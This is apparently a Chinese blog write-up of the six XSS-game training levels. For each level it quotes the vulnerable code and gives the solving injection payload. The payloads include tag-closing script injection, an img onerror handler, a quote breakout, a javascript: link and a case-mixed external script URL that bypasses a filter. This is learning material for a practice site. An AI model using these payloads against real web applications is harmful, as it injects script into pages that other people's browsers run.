0.前言
在花了一个下午和晚上之后,终于做完了这六道题目,感觉还是挺有收获的.整体感觉这六道题目比较简单,难度不高.
这是站点 : https://xss-game.appspot.com/
1.闲言少叙,书归正转.
Level 1: Hello, world of XSS
入手点:
level.py的第44行代码
# Our search engine broke, we found no results :-(
message = "Sorry, no results were found for <b>" + query + "</b>."
message += " <a href='?'>Try again</a>."
思路:
直接闭合 <b> 标签,插入js代码
答案:
</b><script>alert()</script><b>
Level 2: Persistence is key
入手点:
index.html的第30行代码
html += "<blockquote>" + posts[i].message + "</blockquote";
思路:
这道题我一开始想用上道题的套路,但显然不可以。具体为什么我还不是很明白。根据题目的提示,貌似可以利用 <img> 标签的onerror属性。
答案:
<img src="***" onerror="alert()">
Level 3: That sinking feeling…
入手点:
index.html的第17行代码
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
思路:
这道题乍一看没有让用户输入的地方。通过查看代码第43行,我们知道页面会调用chooseTab函数,将url中#后面的字符串做为参数传入。我们需要构造一个字符串,使img标签加载的时候执行我们的代码。
答案:
'onerror="alert()"/>
Level 4: Context matters
入手点:
timer.html的第21行代码
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
思路:
这道题通过构造特殊的timer变量值,使得标签中的js代码得以执行。
答案:
'),alert()//
在做题目的时候发现自己的输入被转义成了html实体,以为无法被指执行,所以想破头也没想出来。在看了答案后才知道是能够被执行的。不过我还是不知道这是为什么?
Level 5: Breaking protocol
入手点:
signup.html的第15行代码
<a href="{{ next }}">Next >></a>
思路:
通过查看代码,三个html都是很简单的页面,只有signup.html调用了next变量,并放到了 <a> 标签中,我不禁想到利用其执行js代码。再通过读level.py我了解到当页面的url参数带有”signup”时,next的值为next变量获得的参数值。那么这道题目就很简单了,我们只需要利用 <a> 标签的url来执行代码。
答案:
javascript:alert()
Level 6: Follow the rabbit
入手点:
index.html的第17~25行代码。
var scriptEl = document.createElement('script');
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
思路:
题目说得很清楚,利用外部js脚本执行alert()。但最大的问题是对我们给出的url做了过滤。这让我很头疼,心想难道 <script> 标签难道还有其他的属性可以利用?后来才了解到到题目只对小写的http和https过滤了,而url的协议与地址部分是不区分大小写的,也就是说我写成hTtPs://也是没问题的!
答案:
HTTPS://www.rockblog.cn/test.js
让我惊喜的是还有一种在我看来更惊艳的答案,利用了data类型的url。
解决方案如下:
data:text,alert()
在下实在是佩服!